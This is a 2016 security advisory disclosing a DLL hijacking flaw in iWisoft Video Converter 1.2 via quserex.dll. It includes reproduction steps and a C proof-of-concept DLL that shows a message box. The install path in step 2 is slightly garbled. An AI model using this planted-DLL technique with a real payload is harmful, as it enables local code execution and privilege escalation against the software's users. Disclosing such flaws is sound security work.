Document Title: =============== iWisoft Video Converter 1.2 - DLL Hijacking Vulnerability Release Date: ============= 2016-10-04 Vulnerability Disclosure Timeline: ================================== 2016-10-04 : Discovery of the Vulnerability 2016-10-04 : Contact the Vendor (No Response) 2016-10-12 : Public Disclosure Product & Service Introduction: =============================== iWisoft Free Video Converter is a powerful, high-quality freeware video converter. It can easily convert video/audio between all popular formats. It can convert video/audio from one format to another, rip audio from video, convert video to image series, animated gif. The free video converter provides you optimized output profiles, you can easily convert video/audio for iPod, iPhone, PSP, Zune and many other digital devices. (Copy of the Vendor Homepage: http://www.iwisoft.com/ ) Affected Product(s): ==================== iWisoft Product: iWisoft Video Converter v1.2 - Software Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official iWisoft Video Converter v1.2 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] iWisoft Video Converter Vulnerable Version(s): [+] v1.2 Vulnerable Libraries: [+] quserex.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to quserex.dll 2. Copy quserex.dll to C:Program FilesiWisoft Free Video ConverterVideoConverter.exe 3. Launch VideoConverter.exe 4. MessageBox Executed -- PoC Exploit -- #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/ 0day.today/author/27461 Copyright © 2016 | ZwX - Security Researcher (Software & web application)